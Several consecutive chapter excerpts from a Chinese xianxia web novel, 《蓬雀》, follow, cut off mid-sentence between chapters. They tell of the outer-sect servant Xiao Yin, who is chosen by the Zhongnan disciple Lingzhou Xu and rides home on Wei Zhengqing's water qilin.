魏正卿看看伶舟絮,又看了看萧隐,脸上涌现出几分为难,还不等回话,那人群中忽然就蹿出了个瘦高的身影,萧隐猛地扭头果然又看见了那张尖嘴猴腮的脸。 “走啊!”他狐假虎威拔高了嗓音,喝道。 萧隐横了他一眼,顿时这丁的就咽了口唾沫,可他偷偷看了眼那老头,见那老登也虎视眈眈地盯着萧隐,立刻,一股勇气就从他心头一下子暴涨起来,“你听不清呀?”他翻着眼珠对萧隐嗤笑道: “人家都说了让你立刻滚出衡山,而且,”抹了把头发,他仰着下巴:“我是你上级,你作为一个外门的学徒,得听我的!” 萧隐没作声,只是冷冰冰看着他,那模样换以前他估计还会有些发怵,可现在有那老登撑腰,他开始越发硬气起来,看萧隐不动弹,他甚至还开始伸手作势要拽她,然而还没等动手,只听砰的一声,他就顿时惨叫起来。 “什么东西?”伶舟絮冷眼相待:“也配对我的人指手画脚?” 话音未落,围观群众就已经一片哗然。魏正卿惊惶地看着她,伶舟絮手中那鞭头滴滴嗒嗒的都是血,她没看魏正卿,也没看萧隐,更没看那老头,只是冷冷凝视着地上那人——如果那还能算是个人的话。 只见不过刹那,刚才还站在她们跟前叫嚣的破铜锣嗓子这时半张脸半只手都已经完全剔去了血肉,烂肉混着鲜血沾在他衣服和露出森森白骨的手上。 他跌坐在地,“啊啊”叫唤着,泪花滚滚,嘴里还不时流血,那血咕噜噜摔在地面,似乎还掺了几粒白花花的东西,萧隐离得近,看得出那是什么,没想到方才只是一下,就能把他不但打得皮开肉绽甚至还打落了牙,回想着不久前看到的残影,萧隐不禁想起了一句话:“收回一团,放击一片,收回如虫,放击如龙。”这是书中对九节鞭运动风格的描述,在此前,萧隐从没有见过真有人使用九节鞭,毕竟她只是在衡山外门打杂,而且,就是在内门学艺,据说也不是谁都能随便用这九节鞭的,因为这武器软中带硬、异常凶猛,有“巧打流星,顺打鞭”一说,运用起来就如那句话似的上下翻飞时变幻莫测,所以单单是练习就多有不易,有的人可能运用不当就反把自己抽了个好歹,而这名唤“絮儿”的少年却明显能把这鞭子用得抡起似车轮,舞起似钢棍……看来这少年真不愧是名门之后,身手矫健,九节鞭的威力也果真名不虚传。 而那老头明显也没想到伶舟絮居然能出手伤人,可眼看着事情闹大,他也究竟不能干看着,就立马给魏正卿使了个眼色。 魏正卿在事发后很快就反应过来,吩咐人将那破铜锣嗓子拖走,好生治疗,等到那帮人都彻底没了影子,他才回身看向了伶舟絮。 伶舟絮看出他眼神中略带责备,不由火气更盛:“是他自己冒犯在先!难道怪我?”说着,她猛地提手一扬鞭,顿时一阵走石飞沙,紫府门前那一堆人又一阵叽叽喳喳。 魏正卿看了看她,低头叹息:“我也不曾说什么。” “胡说!”伶舟絮怒道:“你用眼神说了!你说我不好!” “那畜生明知萧隐是我的人,不仅屡次唐突了我们,刚才还竟敢拿乔,我岂能容他?” 魏正卿抬头扫了她一眼,又别开视线,“即便如此,他也是手无寸铁且手无缚鸡之力之人,你手握九节鞭,力能拔山,又怎能……” 萧隐闻声,皱了皱眉,伶舟絮听得已经心头火起,噔噔上前两步,这时,那老头终于咳嗽道:“罢了。” 萧隐看向了那老登。 老登道:“絮儿年轻气盛,行事冲动也是在所不免,正卿你既然是她师兄,就理应多担待一些。” 和刚才为了选人这点“鸡毛蒜皮”就直接撂脸色不同,这次出了见血的事儿,这老登话里话外竟然都是个要息事宁人的意思,萧隐眉头一挑,心中却还是只觉得了然。而魏正卿闻言虽然拧了下眉却还是道:“有劳师叔提点,晚生受教了。” 他说得声音不低不高,也听不出有什么情绪,只是在这字里行间仔细咂摸一番,隐约能品出来一点儿怪里怪气的滋味。 伶舟絮哪里咽得下这种哑巴亏,立刻就冷了脸。 而那老头没有看她,也没有看魏正卿,而是直勾勾盯着萧隐,萧隐立刻毫不犹豫地回望,几乎瞬间,一股强烈的钝痛就压住了她的膝盖,她不由闷哼一声,与此同时伶舟絮惊怒交加地转头,又立刻恼怒地冲那老登叫喊起来,可萧隐一言不发,还拉住了伶舟絮的胳膊不再让她上前。 她年纪尚轻,看样子又不谙世事,显然是不知道其中门道,萧隐心知,那老登这些所作所为其实都不外乎还是为了伶舟絮。 先前,老登针对她选人一事闹了不愉快,是因为终南这回往衡山来是为了专程给这名唤絮儿的少年办事,这个事虽然从来不曾细讲到底是什么,可萧隐听说过,衡山内门不时会有组织门徒外出历练的事儿,很可能这回终南的过来招工,也是为了随行历练等需要武力值高的事儿挂钩,这才让她务必谨慎挑选——当然了,如果说是为了招保镖,那么萧隐猜这一行人肯定不至于往衡山跑,毕竟终南多的是比衡山资质更好、武力更强的人,那么能够让她们大老远跑这一趟的,恐怕就是为了挑“杂役”了——这是萧隐根据衡山的大致情况推理出来的。虽然她一直在外门待着,但是以往也听说过,内门出去历练总会找几个人做临时工打理生活起居,不过这种事基本都是别人抢破脑袋才竞选上的,甚至还得有点门道儿的,像破铜锣嗓子那种才好被选上沾光出去溜一圈也捡个“随行历练”的头衔,不过这肯定还是得在运气足够好的前提下。 要是运气差一些,“随行历练”遇到了什么猛兽直接死翘翘了,那也只能认栽。 因此,萧隐从不主动跟着争什么衡山内门“随行历练”的位置,尽管她知道,衡山门徒去的地方很可能也不会有那么高危,可说到底,像她们这种杂役就是宗门里的易耗品,几乎没几个人真的会把她们的命当作命,如果说真的遇到了什么事,她们要么手无寸铁要么捏着那几粒辟谷丹约等于手无寸铁,基本上生还概率也更低。 留得青山在,不怕没柴烧,她还想留条命在给自己搏一搏,要是命都没了那就直接一切清零了。 9. 并驾 《蓬雀》全本免费阅读 “姓萧,‘萧然物外’的‘萧’,名隐,‘日月隐耀’的‘隐’。” 双眼血红,双腿战战,可是萧隐依然回答得慷锵有力,她知道,这老登这么做其实是为了考验她,看她能不能扛得住这种“威压”——能,那就更可能让她入选;不能,他就更顺理成章把她蹬了。 萧隐攥紧了手,直直盯着那张老脸,似乎要把他整个人都生吞活剥:虽然她知道这老登是什么意思,但是她绝不会哑巴吃黄连。 总有一天,她咬破了舌尖心想:今日之辱,总有一天,她要把这老登五脏六腑都生挖出来、捏碎揉烂!她要让他再也没法对她用什么“威压”! 这老登不知看没看出她心中所想,竟忽然捻须笑了:“萧隐?好狂放的后生,竟敢这样取义自己的名姓!” 魏正卿闻声忙抬头想帮忙说情,可还不等他开口,那老登又道:“罢了。” 站在萧隐跟前坚持要把她护在身后的伶舟絮蓦地瞪大了眼,而萧隐这时则立刻松了一口气,在那老头吐出“罢了”的瞬间,那股挤压着她脏器和腿弯的灼痛忽而消失了,空气骤然破开了她的肺腑,萧隐忍不住咳嗽了两声,伶舟絮连忙扶住了她。 萧隐看她满面担忧,不由摆了摆手:“没……” 话没说完,她却忽然有些顿住了,魏正卿伸着手,急切地对她点点头。 伶舟絮拉着她:“快吃!这个是回春丹!你刚才经受了那些折腾要不尽快服药肯定对根骨和脏腑经络都有损伤!” “回春丹”三个字一出,萧隐就一口吞掉了那颗丹药,一股苦涩的清香猛地从她口中化开又迅速如一缕清流飞蹿到了她四肢百骸。 转瞬间,原本充斥着她皮肉骨髓的痛劲就舒缓得所剩无几了。 萧隐终于彻底松了一口气,她放开伶舟絮的手挽袖给自己擦了擦汗,伶舟絮紧张地看了她一会儿,发现她面色渐渐恢复了正常,这才可算也跟着放下心来。 “你还好吗?”魏正卿轻声问。 萧隐点头:“多谢。” 伶舟絮这时也看了一下魏正卿,显然,她还计较着不久前魏正卿怼她的事儿,但却还是噘嘴抱拳道:“谢谢师兄。” 魏正卿摇摇头:“举手之劳,不必言谢。你们无事就好。” 而那老头这时终于开口道:“好了,既然选完了人,那么我们也不便在此久留,正卿,”他看向魏正卿。 “晚生在。”魏正卿立刻回头上前一步行礼。 “你去给萧隐把东西收拾了,然后同你双亲知会一声,我们稍后启程。” 伶舟絮闻声瞪着眼:“真的假的?” 她明显不信那老头这时候突然那么好说话,要知道,刚才那场事儿要不是萧隐体质居然足够强而且魏正卿递药及时,他那几回威压都足够让个普通人骨折和内脏出血了! 何况先前这老登还为了她选萧隐同行的事就一再使绊子,甚至还跟魏正卿说要把萧隐直接从衡山开除——这么多闹剧,怎么这就草草收尾了? “君子一言驷马难追,”魏正卿率先打圆场道:“既然师叔如此说,那么就不会有假,师妹大可放心。” 伶舟絮狐疑地看看他,又看看那捻胡子的老头,慢慢挠挠头。 魏正卿则转头看向了萧隐:“萧……姑娘,”他斟酌道:“在下奉命……” “不用了,”萧隐直接截断了他的话头:“我来之前就已经拾掇好了。”说着,她忽然从腰间解下来一只褐色的袋子,看上去拳头大,似乎是粗布做的,里头干干瘪瘪仿佛空落落的,可她一打开瞬间手中就多了个包袱卷。 原来那是只里大外小的乾坤袋。 魏正卿恍然,然后对她微微拱了拱手,大致是要谢谢她帮他免了一桩事,萧隐顿了下,也学着他的样子回礼。 “好了好了。你俩别在那儿对拜了!”伶舟絮叫道:“师兄你快点去吧!要么我们都赶不上饭点了!我还想吃‘喜鹊登梅’、‘雪山飞狐’和‘金丝酥雀’呢!” “放心,”那老头甩了下拂尘,一副老神在在的样子,“既然絮儿想要的肯定就都给你留好了。” 伶舟絮却听出了另一种意思,她眼珠一转,又反手拽住了萧隐:“那她呢?我想要萧隐陪着我一起走,她现在肯定是我的人了吧?” 老头看了看萧隐,虽然皱了下眉,但还是道:“自然。” 伶舟絮终于欢呼起来,她拽着萧隐一溜烟跑到了一边,“来来来!”唰地一下,她就爬了上去,对萧隐伸出手:“来呀!快上来!” 萧隐看着跟前亮闪闪红彤彤的丹鸟羽毛,有些愣愣的,闻声她才终于抬头看了看伶舟絮。 伶舟絮:“上来呀!待会儿我们就走了!” 萧隐却并没有直接伸手,伶舟絮拧了下眉,不明所以,而那老头拎着对儿肿眼泡,正悄无声息地看着她们。 “不必了,”萧隐思忖片刻,低声道:“‘非晨露不饮,非嫩竹不食,非千年梧桐 10. 齐驱 《蓬雀》全本免费阅读 萧隐并没有愣太久,很快也对他微微颔首致意,忽然她感觉身后传来一阵温热的鼻息,猛然回身却只见那麒麟这时也仿佛通人性一般已经矮身半卧在地。 魏正卿清润的声音也徐徐传来:“请吧。” 阳光下,那头麒麟身上的鳞片发着淡淡蓝光,珠玉结成的缰绳和镫子从它身侧垂落下来,萧隐抓住了开始踩着脚镫往上爬。 魏正卿仰头看着她坐稳,最后又嘱咐了她两句,这才反身跟那老头又客套一番,御剑飞向别处。 麒麟上,萧隐低着头看着手中的珠串,仿佛出神。 这是她第一次摸的抓的和踩的全都是宝石,和她想象中的不同,这些东西并没有那么冰冷,而是近乎于触之生温,让她一碰了几乎就不想松开手。 “舒服吧?”伶舟絮的声音忽然飞了过来,萧隐抬头,对上了那张笑眯眯的小圆脸。 萧隐:“什么?” “你过来,我偷偷告诉你一件事,”伶舟絮招手,等萧隐小心翼翼地挪近了,她低声道:“我师兄家虽然近几年不怎么景气,但瘦死的骆驼比马大,你现在抓着的珠串看着是珍珠、玛瑙、翡翠和蓝石英,其实是鲛人泪、赤铜和婴垣玉。” 闻声,萧隐不禁又是一顿。 伶舟絮看她这么洗耳恭听的样子更是敞开了话匣子,甚至一个扭身就忽地从丹鸟身上一跃而起又坐到了萧隐跟前。 她年纪尚幼,骨架也不算大,麒麟后背上又宽敞,伶舟絮刚好能窝进萧隐身前的位置,在她胳膊和那珠玉穿就的缰绳之间。 “不光如此,我师兄这个缰绳其实还是鲛绡做的呢。”伶舟絮捏着那串珠链,道:“你刚才是觉得这样握着这些东西就很舒坦对吧?” 萧隐如实应声。 伶舟絮:“那就对了!我师兄他是灵根属水的,而这几样东西恰好都是适合滋补他根骨的,你灵根虽然五行杂乱,但是这些东西也对你有一定滋养,比如鲛绡、鲛人泪和婴垣玉都是属水的,就都对你体内属水的灵根有滋养,赤铜虽然看起来属火但是和这几样属水的对冲一下也中和了浊气,让滋补你的灵气变得更精纯。” “你觉得舒服是正常的,毕竟就是单独握着这缰绳,其实也是能够涨修为的。”她看着那几样宝石,道:“只是像我师兄那样修为高的话这些东西就好像用涓滴之流填满大江大河一样,有些鸡肋了,可对于你这种对修仙还没什么基础的人来说,肯定还是立竿见影的,因为你现在还没遇到什么瓶颈,也就是说,这些东西发挥天然效用就会直接顺着你毫无淬炼痕迹的筋脉走,好像水沿着空杯盏直接往下降一样,效果很明显。不出意外,从刚才你爬上来到现在,你可能就已经有了炼气三成的修为了。” 萧隐听得出神,她有些惊诧,却不仅仅是惊诧于这法宝的效用,还惊诧于伶舟絮毫无保留的表达。 从她们刚才开始说话起,伶舟絮虽然故意压低了声音,但是对于这帮普遍有修为加持的人来说,她的声音并不小,而她似乎对这些并没有什么好避讳。 也许对于她来说这种法宝虽然难得但确实也谈不上金贵,也兴许她只是单纯的为自己同袍有这法宝而觉得高兴,总之,伶舟絮好像完全不知道这世人其实并不是她想的那样对万事万物都唾手可得,她的“无心之言”有时会听者有心,甚至会有朝一日招来祸端。比如这时,她才吐口,顿时萧隐就感受到好些目光唰唰斩了过来,羡慕、忌惮有之,无厌、愱恨也有,那些人还聚集在紫府门前,叽叽喳喳,萧隐虽听不清这帮人到底在嗡嗡什么,但是从伶舟絮不解的神情、老头不屑且厌烦的模样和周围那几个终南山的门徒蹙眉的样子,她能猜个八九不离十:往常,她不时去内门送货上门时就经常发现衡山这帮学生嘴岔子都跟老棉裤腰似的,一整就爱说些掏心窝子话,这时很可能在听了伶舟絮的话之后,这帮人就都开始嘁嘁咕咕把心里头那点事儿都给倒了出来。 什么酸恨、仰慕,霎时间都一览无余。 萧隐不由叹了一口气。 伶舟絮扭头:“你也觉得这些都很‘千载难逢’吗?”萧隐看出她脸上带着惶惑,那几乎大剌剌透出四个字:不谙世事。 鉴于这些事早晚都要有人跟她说,而且正好她二人这时还离得近,伶舟絮又说过萧隐对她眼缘,因此萧隐想了下,也没卖关子,直接点了点头,打算紧跟着跟她细说。 可在她点头后,伶舟絮即刻就满头雾水地看着萧隐:“修真者不同凡人,寿数绵长,而这几样东西通常只需要几百年就能搜全,何况衡山祖师紫虚元君本就有家业——这里是南岳,肯定多的是她的传说,当年她受仙人点拨,托剑化形飞升,何其风光啊。难道还不行有点儿底子留给后生吗?不止她,所有大家大业的全都有底子,像我们终南的就也有不少东西呢,外人总说得好像我们多铺张浪费一样,可是我也觉得奇怪,为什么这点最基本的东西在你们看来居然能是‘千载难逢’的?” 说完,她疑惑地看向了那又滚水似的紫府门前的那些人。萧隐几乎有些无奈了,她实在没想到这少年竟然如此不通人情世故,而且她还没来得及说,伶舟絮就干脆掐了她的话,还说了一堆别的,几乎可以说火上浇油,而最让她吃惊的还在后头,那老头听完了伶舟絮一番话,乜了紫府门前的衡山学生们一眼,冷哼道:“泥骨凡胎。” 只是四个字,萧隐只觉得这简直就是当头棒喝。 这句话她当然不陌生,放在往常这都是衡山内门来嗤笑她们这帮外门杂役时常用的,虽说终南的肯定比衡山的厉害,鄙视链一环 11. 志向 《蓬雀》全本免费阅读 这世上有句话叫“同人不同命”,说的是条件差不多的人却命运天差地别。萧隐和伶舟絮她们就是这样。 虽然从性别上,她们同样都是女人,甚至看着还年纪相仿,但是从命数来说,伶舟絮那句“终南还是我家的”就能让人发现她其实很自持身份,这当然也正常,毕竟任谁有这么副好家世兴许都会美滋滋,何况她看样子往常不咋出门,又因为身份高贵,寻常都是众星拱月的,所以她不通世故,更没必要学着对谁卑躬屈膝的,而萧隐却不能不学会察言观色,因为她不是终南山哪个位高权重之人的后代,也不是遗传了哪个大能血脉的天才,她只是个山窝窝出身,绞尽脑汁这才终于进了别人看来的“杂役堆儿”(衡山)成了个“泥骨凡胎”(老头刚才鄙视衡山人时所说)。伶舟絮可以对那帮人“大放厥词”,她却不行,之前对付那破铜锣嗓子,那是因为萧隐和他交手过,她知道这丁的就是个纸老虎而且往常只有巴结人的份儿,并没什么内门的好友,即便真有,大部分人肯定也不会在终南的就要过来挑人时就挑事,而既然并不是当事人,为了这种鸡零狗碎找后账就想必更是没必要,所以既然她就算当众再怎么还口还手也不至于怎么吃亏,她自然就用不着束手束脚了。可别的事上,萧隐肯定还是得多掂量掂量,就比方说:把不把自己得到的机缘公之于众……她就得三思而行。 毕竟,行高于众,众必非之。 偏偏她以为的“机缘”,对于伶舟絮这等人物而言,就是蜗角虚名,蝇头微利。 因此,她们可以大剌剌地说出:“这几样东西通常只需要几百年就能搜全。”可她却反而要谨小慎微。 萧隐虽然觉得这一切没什么值得羡恨,毕竟比起耗神耗力羡恨别人,她觉得不如提升自己更实在,但是这时,看着伶舟絮,她还是忍不住生出了一些凄凉。 那是一种无力感,是又一次真切认识到了近在咫尺却如隔云端的差距就油然而生的一股挫败和自惭形秽。 伶舟絮似乎没明白她的感受和背后成因,见她只盯着自己却不说话就一阵困惑。 “你是想要这个吗?”她抖了抖那珠玉缰绳。 萧隐立刻摇摇头,“不是。” 老头闻声从鼻子里甩出一道冷哼,很明显,他并不信任萧隐所说的话。 “你为什么不想要?”伶舟絮瞪着大眼睛:“这几样东西对你也是有用的。我师兄以前交友不慎有个所谓的‘好兄弟’把他灌醉了就想偷这个呢!可是他没打过麒麟兽,因此偷鸡不成蚀把米了……” “麒麟马头鹿身、鱼鳞牛尾,虽然忠厚敦睦,但是不怒则已,一怒惊人。”萧隐对此并不意外。 伶舟絮点头,“对!我师兄这头还是水麒麟,发怒时不吐火,它吐冰吐水,当时那丁的不了解它的性情,以为它随便谁的话都听,结果对它颐指气使的把它惹怒了,当场就被冻成了个冰疙瘩!”说到这儿,忽然,她看了看萧隐:“咿,你怎么知道这是麒麟的?” 她好像终于反应过来,刚才那破铜锣嗓子说萧隐就是个衡山的外门学徒。这里不比终南,也没什么好资源给外门的学生用。虽然魏正卿刚才和萧隐说了这是麒麟,但是萧隐补充的这些全都是书面知识而不仅仅就是物种名了……她是怎么知道那么多的?不论丹鸟的习性、种族还是麒麟的脾气秉性和外貌特征,作为一个衡山外门的学生,她都是怎么知道的? 伶舟絮好奇地看着萧隐。 “我做杂役时曾有几次出入衡山内门,曾偶然听过同袍之间的课余交流。”萧隐回话。 她并没有讲实话,可伶舟絮听不出,毕竟她涉世未深,对于很多事都还没什么认知,这时一听居然萧隐只是道听途说的,也就信了,还赞叹道:“没想到你们衡山还有闲暇时爱聊神兽的人啊,说起来,我们那边其中一门课就是地理,有专门讲《山海经》(里头有不少奇珍异兽)和《云笈七签》(同上)之类的,虽然大家也都听,但普遍是为了应试,不得不听……我还以为普天下都差不多,看来还是我草率了。竟然浅滩也有游龙!” 萧隐一脸认真地听着,而那老头却忽而冷冷扫了萧隐一眼:“虚与委蛇,油嘴滑舌。” 衡山这种小地方,哪来的那么多好读书、读好书的人?这萧隐八成是自己东拼西凑偷看了什么,这才知道了那么多事,只是她还嘴硬,不肯直说。那三言两语骗骗伶舟絮这种天真烂漫的还行,碰到了他这种老油条肯定就是漏洞百出了。 萧隐自知理亏,却也是不得已而为之,毕竟她需要藏锋自保,因此她只当没听到他吊吊赖赖,接着专心附和伶舟絮道:“是啊。世界之大,无奇不有。” 伶舟絮看她态度好,自己也还是乐呵呵的,没搭理那老头,继续跟萧隐讲:“说回来,这个珠串虽说我师兄就是拿了当日常用品的,但是有些人对此就可宝贝了呢。那个人被冻成了冰疙瘩以后,还有人贼心不死,后来我师兄也终于长记性了,他给这玩意和麒麟都上了个‘锁’,”说着,她一手拎着那珠玉缰绳,一手轻轻拍了拍那麒麟的后背:“你我之所以能上 12. 同程 《蓬雀》全本免费阅读 一番话虽然不算掷地有声,但吐字清晰,伶舟絮听得一愣一愣的,亮晶晶的阳光从萧隐的眉眼抖落下来,零星一点停歇在她眸子里,琥珀色的光晕尽管淡,却也一下子就让她整个人由内而外都显出来一种正气凛然。 明明还只是个杂役,身如野草浮萍并不起眼,可是莫名的,伶舟絮感觉,这刺猬头浑身上下确实充满了一股力量,这也是萧隐吸引她拣选她的原因。 只是现在她年纪尚小,一时间虽被震撼,但是却形容不出这种力量到底是什么,只觉得那是“眼缘”,多年后,再回想起今天,伶舟絮才恍然,原来那是一种生命力。 蓬勃向上的、所向披靡的生命力,这是扎根于萧隐的本性,内化于心,外化于行的磁场。 而这时她就是单纯被萧隐展现出的能量所震撼,久久不曾回话。 就连那老登也着实不由多看了萧隐两眼,也是这么两眼,他竟然糊里糊涂又想起来了刚才萧隐对自己名姓的解读:“萧然物外,日月隐耀。” 不羁。确实不羁,他多少年都没见过这么桀骜的后生,而且女儿家家竟然还剃了个刺猬头,剑眉星目,乍看不伦不类的,几乎一照面就让他觉得直碍眼,可如今细看来,这后生似乎也不无可取之处。 “师叔。”一道清朗的声音忽然打断了他那些思绪,老登转头,是已经去而复返的魏正卿。 伶舟絮明显也听到了动静,扭头看过来:“师兄!”她大声叫道,“你快点!我们都等半天了!” 魏正卿对她声音来处微微颔首,然后又用了个行礼的姿态从怀中掏出一封信和一包东西呈给了那老登。 “高堂已知缘由,除了嘱咐晚生勤勉学真,又深感师长提携不易便作了亲笔信一封让晚生相递以表慰问。” 老登捻须取信,魏正卿看了看那团油纸包,道:“近来换季,金银藤恰好能中和火气,与之相宜。晚生返程时见门中藤花正好,便取了一些请师叔沏茶,小小薄礼,不成敬意,多谢师叔多年扶携之恩。” 说罢,他在那老登也取了油纸包后又向那老登恭恭敬敬一作揖,整个模样那叫一个低眉顺眼、不慌不忙,看得伶舟絮一阵着急:“搞快点哇!我们都等很久啦!!” 老登慢条斯理地看了看魏正卿:“好了,站正吧,你有心了。” 魏正卿闻声,起身站正和他客套一句,这才终于开始往麒麟那边走,回身冷不丁看着麒麟背上同时坐着伶舟絮和萧隐,他不禁一怔,却很快就反应过来,摇头轻笑。 萧隐只觉得眼前银光一闪,下一刻魏正卿的声音已经从她身侧传来:“师妹是要乘着沃霖(她们现在乘坐的这只水麒麟名叫“沃霖”)返程吗?” 那声音温和中又带着点儿调侃,她回头,果真看到魏正卿面上略有几分笑。 “有何不可?”伶舟絮扬了扬下巴,“反正它也认得我,而且萧隐是我的人,她在哪儿自然我也该在哪!”说着,她还抬了抬眉毛。 魏正卿只觉得她眉梢眼尾都活脱脱嵌了两个字:“怎样?” 一时他有些啼笑皆非。 “丹景近在咫尺,”魏正卿抬手引着伶舟絮去看丹鸟(那只伶舟絮原本乘坐的丹鸟名叫“丹景”),“师妹就空了它直接要和沃霖回山,莫不是要它呷醋?” 伶舟絮听了柳眉一皱,原本还想说些什么,可那丹鸟忽地跟着咕咕叫了两声,还冲着她偏头看着,似乎在等她回应。瞬间,伶舟絮有些没了声音,魏正卿凌风负手站着,也不急于让她起身让位。 片刻后,伶舟絮看了看手中的缰绳,又看了看背后也在凝望着她的萧隐和旁边的魏正卿,与那些还在等着她回话的终南山的,她叹了一口气。 “行吧!” 萧隐只觉得怀里突然灌进了一阵风,伶舟絮的声音就已经斜飞过来:“萧隐!” 她回头,只见不过眨眼,伶舟絮就骑在了那丹鸟上,那丹鸟鸣叫了两声,抖抖羽毛,似乎这就打算振翅翱翔了,而她手中也抓住了那锁着丹鸟脖颈的金链子。 “麒麟个高!等到了终南,我接你下来!” 萧隐闻声刚想道谢,却听一缕轻风般的笑忽然从她身边掠了过去: “不必了,”魏正卿朗声道,“沃霖这边有我,师妹还是安心惦念着‘喜鹊登梅’、‘雪山飞狐’和‘金丝酥雀’吧!” 说完,他有些忍俊不禁。不止他,纵使那老登听完了也忍不住从那张枯树皮似的吊脸上浮出了几丝笑意,终南的那帮更是一个 13. 返程 《蓬雀》全本免费阅读 “姑娘小心!”魏正卿的声音从她身后传来。 “没事。”萧隐摇头。 她提前捏紧了缰绳,虽说在起步时确实被狠狠颠了一下,但是总的而言她还是没什么大事。可话刚说完,她就不由打了个哆嗦。 不是怕,是冷。 风飕飕从她身边快速吹过,她微微吸了一口气,几乎忍不住低头去看这一切。 太阳光穿云而过,麒麟和她手中的珠玉都发着五彩斑斓的光,一瞬间她忽然想到了四个字:风风光光。 这是真正的风风光光。 几乎只是刹那,她就改了主意——从前,她以为自己只要进了终南外门就心满意足了,可现在看来,远远不够。 传说,仙人能倒海移山、缩地成寸、驾鹤飞天,现在麒麟兽腾云驾雾着往前走,只是低头,她就能看到那底下不断变换的山河大川,绿油油、碧蓝蓝的,偶尔还有鸟鸣和振翅的声音从她们脚下传来。她突然想起来之前她看过的各种神话志怪记载,只是这一刻不同于那些空落落干巴巴的文字,她终于拥有了切实的体验。 她如今一伸手竟然就能摸到云彩。 霎时间她心肺居然又生出来一种烧灼感,可这一次,她知道这不是那老登释放威压的事儿,而是她自己——她突然有了更多想要的东西,这种抓心挠腮的感觉如野火燎原瞬间就灼燎了她的五脏,几乎每一次心跳,她都听到了血液在她身体里沸腾——那是一种纯然的渴望,对修为对门第对成为强者的渴望。 尽管这时候她所拥有的这些都是暂时的甚至都不是她的,她充其量就是个沾光的,可萧隐依然忽地发现了自己的心态变化:她不甘于此了。 只是做个临时工然后多得几个赏钱算什么? 和神兽、法宝、法术比起来,这几个钱简直就是微不足道!何况今天紫府门那些事一出,衡山那帮人已经八成要把她当眼中钉肉中刺了,那么再回衡山,她所需面对的肯定就是更多打压! 要想彻底摆脱困境,那么她一定还要接着往上爬!这一次,她要杀进终南——甚至她要争取一举就杀进内门! 只有这样她才好正式入门修仙,也只有这样她才方便让自己彻底在这玄门争得一席之地从此不再受人欺辱! 萧隐下定了决心,立刻就要开始琢磨如何实行计划,可还不等她细想忽然她身上就是一暖。她立刻偏头看向肩头,接着萧隐有些愣住了。 那是一件披风,不知用什么丝线织就,颜色虽纯白如雪但照耀着阳光竟一整个都发着绚丽多彩的光。突然间,萧隐想到了伶舟絮那身火红却发着七彩光晕的衣服,“霓裳羽衣”四个字忽而跃然脑海。下一刻,只听魏正卿道:“此乃羽衣,天寒路远,这能便于萧姑娘保暖。” 萧隐点头道谢,他却又顿了一下,“在下因风吹火,用力不多。萧姑娘不必客气。说来方才还是魏某思虑不周,让姑娘着了凉……正卿理应多谢姑娘海涵才是。” 闻声,萧隐连连摇头,还不等她回话,伶舟絮的声音忽然就从旁边传了过来:“哇!羽衣?”她寻声,脸颊却险些蹭到红殷殷一片。 魏正卿轻声责备:“师妹当心。” “吁!”伶舟絮驾着丹鸟立刻往边上串了几寸,萧隐揉了揉刚才一阵刺痒的眼睛,这才发现原来伶舟絮果然和她们近在咫尺。 “你还好吧?”伶舟絮偏头问她。 萧隐应声。 伶舟絮松了口气,又定睛去看萧隐身上去了,“我就说他看好你吧!”她亢奋道:“我要是没记错,这羽衣是他前几年收到的生辰贺礼,可宝贝了!往常他都不穿,没想到你们才碰面没多久,这东西就给你用了!啧啧。” 她说者无意,魏正卿却已经涨红了脸,“我对萧姑娘……” “‘盂山,其鸟多白雉白翟’,这羽衣成色赛雪,可是取材于白翟?” 一道洋洋盈耳的女声忽然掐灭了他后半截话,魏正卿怔了下,反应过来这是萧隐的声音,而伶舟絮早已惊艳地看向了萧隐:“这你也知道?” 萧隐摆头:“只是偶有听闻而已。” 伶舟絮噘嘴:“你不会骗我吧?从丹景到沃霖,再到这羽衣,你居然都能一针见血就讲明关键……你是不是读过《山海经》啊?” 魏正卿目光在她二人之间打转了片刻,率先道:“衡山近年来同样有讲《山海经》,也许萧姑娘往常出入内门时确实能不时听见书声琅琅,如此耳濡目染下,经年累月,大约能够对这些略通一二。” 萧隐于是点头。伶舟絮看了看魏正卿,又看了看萧隐,叹了口气:“你俩一唱一和的,都把我整不会了。尤其是你,萧隐。” 萧隐:“嗯?” 伶舟絮:“我最讨厌地理了,我不出门不是不想出门,而是我出去了就容易找不着家。现在要不是丹景认路,南北西东我恐怕都分不清,那些书里头写的什么山啊川啊,我看了都昏,书中那些文绉绉的话更是看了就让我头昏脑涨的,因此我从来都是临时温书应试,而你虽然只是在衡山外门,但却能通过耳濡目染就学得会这些东西……”她有些垂头丧气问魏正卿道:“师兄,你说我是不是很差啊?” 魏正卿失笑:“是呀,”他调侃:“尤其是近两年你还成天惦记着吃穿,功课已经都被掌门抓住了好几次不通了。你也是时候该沉下心来好生温书了。” 听罢,伶舟絮嘴上简直能挂个茶壶:“知道了知道了!”她瞪着魏正卿,狠狠白了他一眼:“我今天回去就温书!” “难得出趟远门,居然还要被你啰嗦……” 她嘟囔着,鼓起了腮帮子,然后就咻地一声化为一道流光残影飞向远处。 “絮姑娘……还好吗?”萧隐极目远眺着,问道。 魏正卿听出她忧心,便道:“师叔和同袍们都在附近,虽然她小孩子脾气又深居简出,但是应该无防。萧姑娘不必担忧。” 萧隐点了点头。 “说起来,魏某也好奇,”沉默不足一息,魏正卿忽然说,“这羽衣确实是白翟翎羽所成,只是不知萧姑娘究竟又如何得知?” 萧隐一声不吭。 魏正卿:“魏某已开了结界,话音不外漏,姑娘大可安心。” 说完,他又看了看萧隐,补充道:“当然了,魏某只是随口一问,姑娘如果不想作答或不便回话,那正卿先在此赔罪了。” 萧隐:“没事。” 魏正卿闻声不由注视着萧隐。 萧隐背对着他,没有忽略他的目光,却还是在一阵静默后终于说道:“魏道友所料不差,我确实看过《山海经》,不仅如此,我还看过《云笈七签》、《水经注》和《方术传》,虽然并没有什么修为,但是对丹书符劾、地理天文等术数,我也的确略通一二。” “只是我所收到的书全都是残本,究竟是不是正品也尚未可知,于是 14. 悲愤 《蓬雀》全本免费阅读 麒麟还在悠哉悠哉地走着,猎猎风声呼呼的吹过来,吹得萧隐头皮发麻。 她看着魏正卿,魏正卿也正在看着她,他的目光很坦然,带着毫无保留的赞赏和欣喜,就这么默默的静静的看着萧隐。 萧隐呆若木鸡片刻,低头摸了下鼻子:“呃……谢谢。” 魏正卿朗然笑道:“能同萧姑娘相识,是魏某之幸。” 萧隐:“谢谢。”她说着咻的一声就转了头。 不知是不是错觉,魏正卿竟然觉得她几乎有些落荒而逃的意思,可还不等他开口,萧隐就突然道:“沃霖离地百丈有余,我……呃,你……注意安全。” 